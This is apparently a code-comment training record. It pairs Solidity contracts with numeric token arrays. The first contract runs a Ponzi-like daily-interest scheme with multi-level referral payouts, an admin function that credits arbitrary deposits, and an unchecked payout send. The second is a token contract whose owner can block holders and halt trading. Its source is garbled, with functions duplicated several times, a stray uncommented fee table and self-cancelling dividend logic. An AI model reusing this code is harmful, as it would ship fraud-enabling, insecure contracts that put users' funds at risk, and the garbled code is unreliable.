require(c / a == b, "SafeMath mul failed");
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
/**
* @dev gives square root of given x.
*/
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
/**
* @dev gives square. multiplies x by x
*/
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
/**
* @dev x to the power of y
*/
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
}
/***********************************************************
* SDDatasets library
***********************************************************/
library SDDatasets {
struct Player {
address addr; // player address
uint256 aff; // affiliate vault,directly send
uint256 laff; // parent id
uint256 planCount;
mapping(uint256=>PalyerPlan) plans;
uint256 aff1sum; //4 level
uint256 aff2sum;
uint256 aff3sum;
uint256 aff4sum;
}
struct PalyerPlan {
uint256 planId;
uint256 startTime;
uint256 startBlock;
uint256 invested; //
uint256 atBlock; //
uint256 payEth;
bool isClose;
}
struct Plan {
uint256 interest; // interest per day %%
uint256 dayRange; // days, 0 means No time limit
uint256 min;
uint256 max;
}
}
contract PowerTokens {
using SafeMath for *;
address public devAddr_ = address(0xe25903C5078D01Bbea64C01DC1107f40f44141a3);
address public affiAddr_ = address(0xaF9C025Ce6322A23ac00301C714f4F42895c9818);
//partner address
address public partnerAddr_ = address(0x4ffE17a2A72bC7422CB176bC71c04EE6D87cE329);
bool public activated_ = false;
uint256 ruleSum_ = 5;
modifier isActivated() {
require(activated_ == true, "its not active yet.");
_;
}
//Start ---> Version 1 has code holes, and administrators have privileges. Migration of version 1 data is used.
function version1Invest(address addr, uint256 eth, uint256 _affCode, uint256 _planId)
isAdmin() public payable {
require(activated_ == false, "Only not active");
require(_planId >= 1 && _planId <= ruleSum_, "_planId error");
//get uid
uint256 uid = pIDxAddr_[addr];
//first
if (uid == 0) {
if (player_[_affCode].addr != address(0x0)) {
register_(addr, _affCode);
} else {
register_(addr, 1000);
}
uid = G_NowUserId;
}
uint256 planCount = player_[uid].planCount;
player_[uid].plans[planCount].planId = _planId;
player_[uid].plans[planCount].startTime = now;
player_[uid].plans[planCount].startBlock = block.number;
player_[uid].plans[planCount].atBlock = block.number;
player_[uid].plans[planCount].invested = eth;
player_[uid].plans[planCount].payEth = 0;
player_[uid].plans[planCount].isClose = false;
player_[uid].planCount = player_[uid].planCount.add(1);
G_AllEth = G_AllEth.add(eth);
}
//<--- end
function activate() isAdmin() public {
require(address(devAddr_) != address(0x0), "Must setup devAddr_.");
require(address(partnerAddr_) != address(0x0), "Must setup partnerAddr_.");
require(address(affiAddr_) != address(0x0), "Must setup affiAddr_.");
require(activated_ == false, "Only once");
activated_ = true ;
}
mapping(address => uint256) private g_users ;
function initUsers() private {
g_users[msg.sender] = 9 ;
uint256 pId = G_NowUserId;
pIDxAddr_[msg.sender] = pId;
player_[pId].addr = msg.sender;
}
modifier isAdmin() {
uint256 role = g_users[msg.sender];
require((role==9), "Must be admin.");
_;
}
uint256 public G_NowUserId = 1000; //first user
uint256 public G_AllEth = 0;
uint256 G_DayBlocks = 5900;
mapping (address => uint256) public pIDxAddr_;
mapping (uint256 => SDDatasets.Player) public player_;
mapping (uint256 => SDDatasets.Plan) private plan_;
function GetIdByAddr(address addr) public
view returns(uint256)
{
return pIDxAddr_[addr];
}
function GetPlayerByUid(uint256 uid) public
view returns(uint256,uint256,uint256,uint256,uint256,uint256,uint256)
{
SDDatasets.Player storage player = player_[uid];
return
(
player.aff,
player.laff,
player.aff1sum,
player.aff2sum,
player.aff3sum,
player.aff4sum,
player.planCount
);
}
function GetPlanByUid(uint256 uid) public
view returns(uint256[],uint256[],uint256[],uint256[],uint256[],bool[])
{
uint256[] memory planIds = new uint256[] (player_[uid].planCount);
uint256[] memory startBlocks = new uint256[] (player_[uid].planCount);
uint256[] memory investeds = new uint256[] (player_[uid].planCount);
uint256[] memory atBlocks = new uint256[] (player_[uid].planCount);
uint256[] memory payEths = new uint256[] (player_[uid].planCount);
bool[] memory isCloses = new bool[] (player_[uid].planCount);
for(uint i = 0; i < player_[uid].planCount; i++) {
planIds[i] = player_[uid].plans[i].planId;
startBlocks[i] = player_[uid].plans[i].startBlock;
investeds[i] = player_[uid].plans[i].invested;
atBlocks[i] = player_[uid].plans[i].atBlock;
payEths[i] = player_[uid].plans[i].payEth;
isCloses[i] = player_[uid].plans[i].isClose;
}
return
(
planIds,
startBlocks,
investeds,
atBlocks,
payEths,
isCloses
);
}
function GetPlanTimeByUid(uint256 uid) public
view returns(uint256[])
{
uint256[] memory startTimes = new uint256[] (player_[uid].planCount);
for(uint i = 0; i < player_[uid].planCount; i++) {
startTimes[i] = player_[uid].plans[i].startTime;
}
return
(
startTimes
);
}
constructor() public {
plan_[1] = SDDatasets.Plan(240,60,1e16, 5e20);
plan_[2] = SDDatasets.Plan(350,40,1e18, 1e21);
plan_[3] = SDDatasets.Plan(470,35,1e19, 1e22);
plan_[4] = SDDatasets.Plan(100,0,1e16, 1e22);
plan_[5] = SDDatasets.Plan(900,12,1e18, 1e22);
initUsers();
}
function register_(address addr, uint256 _affCode) private{
G_NowUserId = G_NowUserId.add(1);
address _addr = addr;
pIDxAddr_[_addr] = G_NowUserId;
player_[G_NowUserId].addr = _addr;
player_[G_NowUserId].laff = _affCode;
player_[G_NowUserId].planCount = 0;
uint256 _affID1 = _affCode;
uint256 _affID2 = player_[_affID1].laff;
uint256 _affID3 = player_[_affID2].laff;
uint256 _affID4 = player_[_affID3].laff;
player_[_affID1].aff1sum = player_[_affID1].aff1sum.add(1);
player_[_affID2].aff2sum = player_[_affID2].aff2sum.add(1);
player_[_affID3].aff3sum = player_[_affID3].aff3sum.add(1);
player_[_affID4].aff4sum = player_[_affID4].aff4sum.add(1);
}
// this function called every time anyone sends a transaction to this contract
function () isActivated() external payable {
if (msg.value == 0) {
withdraw();
} else {
invest(1000, 1);
}
}
function invest(uint256 _affCode, uint256 _planId) isActivated() public payable {
require(_planId >= 1 && _planId <= ruleSum_, "_planId error");
//get uid
uint256 uid = pIDxAddr_[msg.sender];
//first
if (uid == 0) {
if (player_[_affCode].addr != address(0x0)) {
register_(msg.sender, _affCode);
} else {
register_(msg.sender, 1000);
}
uid = G_NowUserId;
}
require(msg.value >= plan_[_planId].min && msg.value <= plan_[_planId].max, "invest amount error, please set the exact amount");
// record block number and invested amount (msg.value) of this transaction
uint256 planCount = player_[uid].planCount;
player_[uid].plans[planCount].planId = _planId;
player_[uid].plans[planCount].startTime = now;
player_[uid].plans[planCount].startBlock = block.number;
player_[uid].plans[planCount].atBlock = block.number;
player_[uid].plans[planCount].invested = msg.value;
player_[uid].plans[planCount].payEth = 0;
player_[uid].plans[planCount].isClose = false;
player_[uid].planCount = player_[uid].planCount.add(1);
G_AllEth = G_AllEth.add(msg.value);
if (msg.value > 1000000000) {
distributeRef(msg.value, player_[uid].laff);
uint256 devFee = (msg.value.mul(2)).div(100);
devAddr_.transfer(devFee);
uint256 partnerFee = (msg.value.mul(2)).div(100);
partnerAddr_.transfer(partnerFee);
}
}
function withdraw() isActivated() public payable {
require(msg.value == 0, "withdraw fee is 0 ether, please set the exact amount");
uint256 uid = pIDxAddr_[msg.sender];
require(uid != 0, "no invest");
for(uint i = 0; i < player_[uid].planCount; i++) {
if (player_[uid].plans[i].isClose) {
continue;
}
SDDatasets.Plan plan = plan_[player_[uid].plans[i].planId];
uint256 blockNumber = block.number;
bool bClose = false;
if (plan.dayRange > 0) {
uint256 endBlockNumber = player_[uid].plans[i].startBlock.add(plan.dayRange*G_DayBlocks);
if (blockNumber > endBlockNumber){
blockNumber = endBlockNumber;
bClose = true;
}
}
uint256 amount = player_[uid].plans[i].invested * plan.interest / 10000 * (blockNumber - player_[uid].plans[i].atBlock) / G_DayBlocks;
// send calculated amount of ether directly to sender (aka YOU)
address sender = msg.sender;
sender.send(amount);
// record block number and invested amount (msg.value) of this transaction
player_[uid].plans[i].atBlock = block.number;
player_[uid].plans[i].isClose = bClose;
player_[uid].plans[i].payEth += amount;
}
}
function distributeRef(uint256 _eth, uint256 _affID) private{
uint256 _allaff = (_eth.mul(8)).div(100);
uint256 _affID1 = _affID;
uint256 _affID2 = player_[_affID1].laff;
uint256 _affID3 = player_[_affID2].laff;
uint256 _aff = 0;
if (_affID1 != 0) {
_aff = (_eth.mul(5)).div(100);
_allaff = _allaff.sub(_aff);
player_[_affID1].aff = _aff.add(player_[_affID1].aff);
player_[_affID1].addr.transfer(_aff);
}
if (_affID2 != 0) {
_aff = (_eth.mul(2)).div(100);
_allaff = _allaff.sub(_aff);
player_[_affID2].aff = _aff.add(player_[_affID2].aff);
player_[_affID2].addr.transfer(_aff);
}
if (_affID3 != 0) {
_aff = (_eth.mul(1)).div(100);
_allaff = _allaff.sub(_aff);
player_[_affID3].aff = _aff.add(player_[_affID3].aff);
player_[_affID3].addr.transfer(_aff);
}
if(_allaff > 0 ){
affiAddr_.transfer(_allaff);
}
}
} | record block number and invested amount (msg.value) of this transaction | player_[uid].plans[i].atBlock = block.number;
| 5,502,249 | [
1,
3366,
1203,
1300,
471,
2198,
3149,
3844,
261,
3576,
18,
1132,
13,
434,
333,
2492,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
5411,
7291,
67,
63,
1911,
8009,
412,
634,
63,
77,
8009,
270,
1768,
273,
1203,
18,
2696,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/5/0x5B5A6861Cc6DE680433D45f55A2229Aaf41Cc5A4/sources/contracts/Contract.sol | max wallet is 1.0% of initialSupply max tx is 0.33% of initialSupply min tokens before swap is 0.025% of initialSupply | contract AresToken is IERC20, Ownable {
using Address for address;
using SafeMath for uint256;
IRouter public uniswapV2Router;
address public immutable uniswapV2Pair;
string private constant _name = "Ares Token";
string private constant _symbol = "ARES";
uint8 private constant _decimals = 18;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private constant MAX = ~uint256(0);
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
bool public isTradingEnabled;
bool public isSwapAndLiquify = true;
uint256 public maxWalletAmount = _tTotal * 100 / 10000;
uint256 public maxTxAmount = _tTotal * 330 / 100000;
bool private _swapping;
uint256 public minimumTokensBeforeSwap = _tTotal * 250 / 1000000;
address private dead = 0x000000000000000000000000000000000000dEaD;
address public liquidityWallet;
address public marketingWallet;
address public buyBackWallet;
address public devWallet;
struct CustomTaxPeriod {
bytes23 periodName;
uint8 blocksInPeriod;
uint256 timeInPeriod;
uint8 liquidityFeeOnBuy;
uint8 liquidityFeeOnSell;
uint8 marketingFeeOnBuy;
uint8 marketingFeeOnSell;
uint8 devFeeOnBuy;
uint8 devFeeOnSell;
uint8 buyBackFeeOnBuy;
uint8 buyBackFeeOnSell;
uint8 holdersFeeOnBuy;
uint8 holdersFeeOnSell;
}
liquidityFeeOnBuy -> BUY 1%
liquidityFeeOnSell -> SELL 1%
marketingFeeOnBuy -> BUY 2%
marketingFeeOnSell -> SELL 3%
devFeeOnBuy -> BUY 2%
devFeeOnSell -> SELL 3%
buyBackFeeOnBuy -> BUY 1%
buyBackFeeOnSell -> SELL 2%
holdersFeeOnBuy -> BUY 2%
holdersFeeOnSell -> SELL 3%
_________________________________
TOTAL BUY => 8 %
TOTAL SELL => 12 %
mapping (address => bool) private _isBlocked;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcludedFromMaxWalletLimit;
mapping (address => bool) private _isExcludedFromMaxTransactionLimit;
mapping (address => bool) private _isExcludedFromDividends;
mapping (address => bool) private _isAllowedToTradeWhenDisabled;
mapping (address => bool) public automatedMarketMakerPairs;
address[] private _excludedFromDividends;
uint8 private _liquidityFee;
uint8 private _marketingFee;
uint8 private _devFee;
uint8 private _buyBackFee;
uint8 private _holdersFee;
uint8 private _totalFee;
event AutomatedMarketMakerPairChange(address indexed pair, bool indexed value);
event AllowedWhenTradingDisabledChange(address indexed account, bool isExcluded);
event BlockedAccountChange(address indexed holder, bool indexed status);
event UniswapV2RouterChange(address indexed newAddress, address indexed oldAddress);
event WalletChange(string indexed indentifier, address indexed newWallet, address indexed oldWallet);
event FeeChange(string indexed identifier, uint8 liquidityFee, uint8 marketingFee, uint8 devFee, uint8 buyBackFee, uint8 holdersFee);
event CustomTaxPeriodChange(uint256 indexed newValue, uint256 indexed oldValue, string indexed taxType, bytes23 period);
event MaxWalletAmountChange(uint256 indexed newValue, uint256 indexed oldValue);
event MaxTransactionAmountChange(uint256 indexed newValue, uint256 indexed oldValue);
event ExcludeFromDividendsChange(address indexed account, bool isExcluded);
event ExcludeFromFeesChange(address indexed account, bool isExcluded);
event ExcludeFromMaxTransferChange(address indexed account, bool isExcluded);
event ExcludeFromMaxWalletChange(address indexed account, bool isExcluded);
event MinTokenAmountBeforeSwapChange(uint256 indexed newValue, uint256 indexed oldValue);
event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived,uint256 tokensIntoLiqudity);
event ClaimETHOverflow(uint256 amount);
event FeesApplied(uint8 liquidityFee, uint8 marketingFee, uint8 devFee, uint8 buyBackFee, uint8 holdersFee, uint8 totalFee);
________________________________
CustomTaxPeriod private _base = CustomTaxPeriod('base',0,0, 1,1, 2,3, 2,3, 1,2, 2,3);
constructor() {
liquidityWallet = owner();
marketingWallet = owner();
buyBackWallet = owner();
devWallet = owner();
IRouter _uniswapV2Router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address _uniswapV2Pair = IFactory(_uniswapV2Router.factory()).createPair(
address(this),
_uniswapV2Router.WETH()
);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = _uniswapV2Pair;
_setAutomatedMarketMakerPair(_uniswapV2Pair, true);
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
excludeFromDividends(address(_uniswapV2Router), true);
_isAllowedToTradeWhenDisabled[owner()] = true;
_isAllowedToTradeWhenDisabled[address(this)] = true;
_isExcludedFromMaxWalletLimit[_uniswapV2Pair] = true;
_isExcludedFromMaxWalletLimit[address(uniswapV2Router)] = true;
_isExcludedFromMaxWalletLimit[address(this)] = true;
_isExcludedFromMaxWalletLimit[owner()] = true;
_isExcludedFromMaxTransactionLimit[address(this)] = true;
_isExcludedFromMaxTransactionLimit[address(dead)] = true;
_isExcludedFromMaxTransactionLimit[owner()] = true;
_rOwned[owner()] = _rTotal;
emit Transfer(address(0), owner(), _tTotal);
}
receive() external payable {}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom( address sender,address recipient,uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool){
_approve(_msgSender(),spender,_allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) {
_approve(_msgSender(),spender,_allowances[_msgSender()][spender].sub(subtractedValue,"ERC20: decreased allowance below zero"));
return true;
}
function _approve(address owner,address spender,uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function activateTrading() external onlyOwner {
isTradingEnabled = true;
}
function deactivateTrading() external onlyOwner {
isTradingEnabled = false;
}
function activateSwapAndLiquify() external onlyOwner {
isSwapAndLiquify = true;
}
function deactivateSwapAndLiquify() external onlyOwner {
isSwapAndLiquify = false;
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
require(automatedMarketMakerPairs[pair] != value, "Ares Token: Automated market maker pair is already set to that value");
automatedMarketMakerPairs[pair] = value;
emit AutomatedMarketMakerPairChange(pair, value);
}
function blockAccount(address account) external onlyOwner {
require(!_isBlocked[account], "Ares Token: Account is already blocked");
_isBlocked[account] = true;
emit BlockedAccountChange(account, true);
}
function unblockAccount(address account) external onlyOwner {
require(_isBlocked[account], "Ares Token: Account is not blcoked");
_isBlocked[account] = false;
emit BlockedAccountChange(account, false);
}
function allowTradingWhenDisabled(address account, bool allowed) external onlyOwner {
_isAllowedToTradeWhenDisabled[account] = allowed;
emit AllowedWhenTradingDisabledChange(account, allowed);
}
function excludeFromFees(address account, bool excluded) external onlyOwner {
require(_isExcludedFromFee[account] != excluded, "Ares Token: Account is already the value of 'excluded'");
_isExcludedFromFee[account] = excluded;
emit ExcludeFromFeesChange(account, excluded);
}
function excludeFromMaxWalletLimit(address account, bool excluded) external onlyOwner {
require(_isExcludedFromMaxWalletLimit[account] != excluded, "Ares Token: Account is already the value of 'excluded'");
_isExcludedFromMaxWalletLimit[account] = excluded;
emit ExcludeFromMaxWalletChange(account, excluded);
}
function excludeFromMaxTransactionLimit(address account, bool excluded) external onlyOwner {
require(_isExcludedFromMaxTransactionLimit[account] != excluded, "Ares Token: Account is already the value of 'excluded'");
_isExcludedFromMaxTransactionLimit[account] = excluded;
emit ExcludeFromMaxTransferChange(account, excluded);
}
function setWallets(address newLiquidityWallet, address newMarketingWallet, address newDevWallet, address newBuyBackWallet) external onlyOwner {
if(liquidityWallet != newLiquidityWallet) {
require(newLiquidityWallet != address(0), "Ares Token: The liquidityWallet cannot be 0");
emit WalletChange('liquidityWallet', newLiquidityWallet, liquidityWallet);
liquidityWallet = newLiquidityWallet;
}
if(marketingWallet != newMarketingWallet) {
require(newMarketingWallet != address(0), "Ares Token: The marketingWallet cannot be 0");
emit WalletChange('marketingWallet', newMarketingWallet, marketingWallet);
marketingWallet = newMarketingWallet;
}
if(devWallet != newDevWallet) {
require(newDevWallet != address(0), "Ares Token: The devWallet cannot be 0");
emit WalletChange('devWallet', newDevWallet, devWallet);
devWallet = newDevWallet;
}
if(buyBackWallet != newBuyBackWallet) {
require(newBuyBackWallet != address(0), "Ares Token: The buyBackWallet cannot be 0");
emit WalletChange('buyBackWallet', newBuyBackWallet, buyBackWallet);
buyBackWallet = newBuyBackWallet;
}
}
function setWallets(address newLiquidityWallet, address newMarketingWallet, address newDevWallet, address newBuyBackWallet) external onlyOwner {
if(liquidityWallet != newLiquidityWallet) {
require(newLiquidityWallet != address(0), "Ares Token: The liquidityWallet cannot be 0");
emit WalletChange('liquidityWallet', newLiquidityWallet, liquidityWallet);
liquidityWallet = newLiquidityWallet;
}
if(marketingWallet != newMarketingWallet) {
require(newMarketingWallet != address(0), "Ares Token: The marketingWallet cannot be 0");
emit WalletChange('marketingWallet', newMarketingWallet, marketingWallet);
marketingWallet = newMarketingWallet;
}
if(devWallet != newDevWallet) {
require(newDevWallet != address(0), "Ares Token: The devWallet cannot be 0");
emit WalletChange('devWallet', newDevWallet, devWallet);
devWallet = newDevWallet;
}
if(buyBackWallet != newBuyBackWallet) {
require(newBuyBackWallet != address(0), "Ares Token: The buyBackWallet cannot be 0");
emit WalletChange('buyBackWallet', newBuyBackWallet, buyBackWallet);
buyBackWallet = newBuyBackWallet;
}
}
function setWallets(address newLiquidityWallet, address newMarketingWallet, address newDevWallet, address newBuyBackWallet) external onlyOwner {
if(liquidityWallet != newLiquidityWallet) {
require(newLiquidityWallet != address(0), "Ares Token: The liquidityWallet cannot be 0");
emit WalletChange('liquidityWallet', newLiquidityWallet, liquidityWallet);
liquidityWallet = newLiquidityWallet;
}
if(marketingWallet != newMarketingWallet) {
require(newMarketingWallet != address(0), "Ares Token: The marketingWallet cannot be 0");
emit WalletChange('marketingWallet', newMarketingWallet, marketingWallet);
marketingWallet = newMarketingWallet;
}
if(devWallet != newDevWallet) {
require(newDevWallet != address(0), "Ares Token: The devWallet cannot be 0");
emit WalletChange('devWallet', newDevWallet, devWallet);
devWallet = newDevWallet;
}
if(buyBackWallet != newBuyBackWallet) {
require(newBuyBackWallet != address(0), "Ares Token: The buyBackWallet cannot be 0");
emit WalletChange('buyBackWallet', newBuyBackWallet, buyBackWallet);
buyBackWallet = newBuyBackWallet;
}
}
function setWallets(address newLiquidityWallet, address newMarketingWallet, address newDevWallet, address newBuyBackWallet) external onlyOwner {
if(liquidityWallet != newLiquidityWallet) {
require(newLiquidityWallet != address(0), "Ares Token: The liquidityWallet cannot be 0");
emit WalletChange('liquidityWallet', newLiquidityWallet, liquidityWallet);
liquidityWallet = newLiquidityWallet;
}
if(marketingWallet != newMarketingWallet) {
require(newMarketingWallet != address(0), "Ares Token: The marketingWallet cannot be 0");
emit WalletChange('marketingWallet', newMarketingWallet, marketingWallet);
marketingWallet = newMarketingWallet;
}
if(devWallet != newDevWallet) {
require(newDevWallet != address(0), "Ares Token: The devWallet cannot be 0");
emit WalletChange('devWallet', newDevWallet, devWallet);
devWallet = newDevWallet;
}
if(buyBackWallet != newBuyBackWallet) {
require(newBuyBackWallet != address(0), "Ares Token: The buyBackWallet cannot be 0");
emit WalletChange('buyBackWallet', newBuyBackWallet, buyBackWallet);
buyBackWallet = newBuyBackWallet;
}
}
function setWallets(address newLiquidityWallet, address newMarketingWallet, address newDevWallet, address newBuyBackWallet) external onlyOwner {
if(liquidityWallet != newLiquidityWallet) {
require(newLiquidityWallet != address(0), "Ares Token: The liquidityWallet cannot be 0");
emit WalletChange('liquidityWallet', newLiquidityWallet, liquidityWallet);
liquidityWallet = newLiquidityWallet;
}
if(marketingWallet != newMarketingWallet) {
require(newMarketingWallet != address(0), "Ares Token: The marketingWallet cannot be 0");
emit WalletChange('marketingWallet', newMarketingWallet, marketingWallet);
marketingWallet = newMarketingWallet;
}
if(devWallet != newDevWallet) {
require(newDevWallet != address(0), "Ares Token: The devWallet cannot be 0");
emit WalletChange('devWallet', newDevWallet, devWallet);
devWallet = newDevWallet;
}
if(buyBackWallet != newBuyBackWallet) {
require(newBuyBackWallet != address(0), "Ares Token: The buyBackWallet cannot be 0");
emit WalletChange('buyBackWallet', newBuyBackWallet, buyBackWallet);
buyBackWallet = newBuyBackWallet;
}
}
function setBaseFeesOnBuy(uint8 _liquidityFeeOnBuy, uint8 _marketingFeeOnBuy, uint8 _devFeeOnBuy, uint8 _buyBackFeeOnBuy, uint8 _holdersFeeOnBuy) external onlyOwner {
_setCustomBuyTaxPeriod(_base, _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy);
emit FeeChange('baseFees-Buy', _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy);
}
function setBaseFeesOnSell(uint8 _liquidityFeeOnSell, uint8 _marketingFeeOnSell, uint8 _devFeeOnSell, uint8 _buyBackFeeOnSell, uint8 _holdersFeeOnSell) external onlyOwner {
_setCustomSellTaxPeriod(_base, _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell);
emit FeeChange('baseFees-Sell', _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell);
}
function setMaxWalletAmount(uint256 newValue) external onlyOwner {
require(newValue != maxWalletAmount, "Ares Token: Cannot update maxWalletAmount to same value");
emit MaxWalletAmountChange(newValue, maxWalletAmount);
maxWalletAmount = newValue;
}
function setMaxTransactionAmount(uint256 newValue) external onlyOwner {
require(newValue != maxTxAmount, "Ares Token: Cannot update maxTxAmount to same value");
emit MaxTransactionAmountChange(newValue, maxTxAmount);
maxTxAmount = newValue;
}
function excludeFromDividends(address account, bool excluded) public onlyOwner {
require(_isExcludedFromDividends[account] != excluded, "Ares Token: Account is already the value of 'excluded'");
if(excluded) {
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcludedFromDividends[account] = excluded;
_excludedFromDividends.push(account);
for (uint256 i = 0; i < _excludedFromDividends.length; i++) {
if (_excludedFromDividends[i] == account) {
_excludedFromDividends[i] = _excludedFromDividends[_excludedFromDividends.length - 1];
_tOwned[account] = 0;
_isExcludedFromDividends[account] = false;
_excludedFromDividends.pop();
break;
}
}
}
emit ExcludeFromDividendsChange(account, excluded);
}
function excludeFromDividends(address account, bool excluded) public onlyOwner {
require(_isExcludedFromDividends[account] != excluded, "Ares Token: Account is already the value of 'excluded'");
if(excluded) {
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcludedFromDividends[account] = excluded;
_excludedFromDividends.push(account);
for (uint256 i = 0; i < _excludedFromDividends.length; i++) {
if (_excludedFromDividends[i] == account) {
_excludedFromDividends[i] = _excludedFromDividends[_excludedFromDividends.length - 1];
_tOwned[account] = 0;
_isExcludedFromDividends[account] = false;
_excludedFromDividends.pop();
break;
}
}
}
emit ExcludeFromDividendsChange(account, excluded);
}
function excludeFromDividends(address account, bool excluded) public onlyOwner {
require(_isExcludedFromDividends[account] != excluded, "Ares Token: Account is already the value of 'excluded'");
if(excluded) {
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcludedFromDividends[account] = excluded;
_excludedFromDividends.push(account);
for (uint256 i = 0; i < _excludedFromDividends.length; i++) {
if (_excludedFromDividends[i] == account) {
_excludedFromDividends[i] = _excludedFromDividends[_excludedFromDividends.length - 1];
_tOwned[account] = 0;
_isExcludedFromDividends[account] = false;
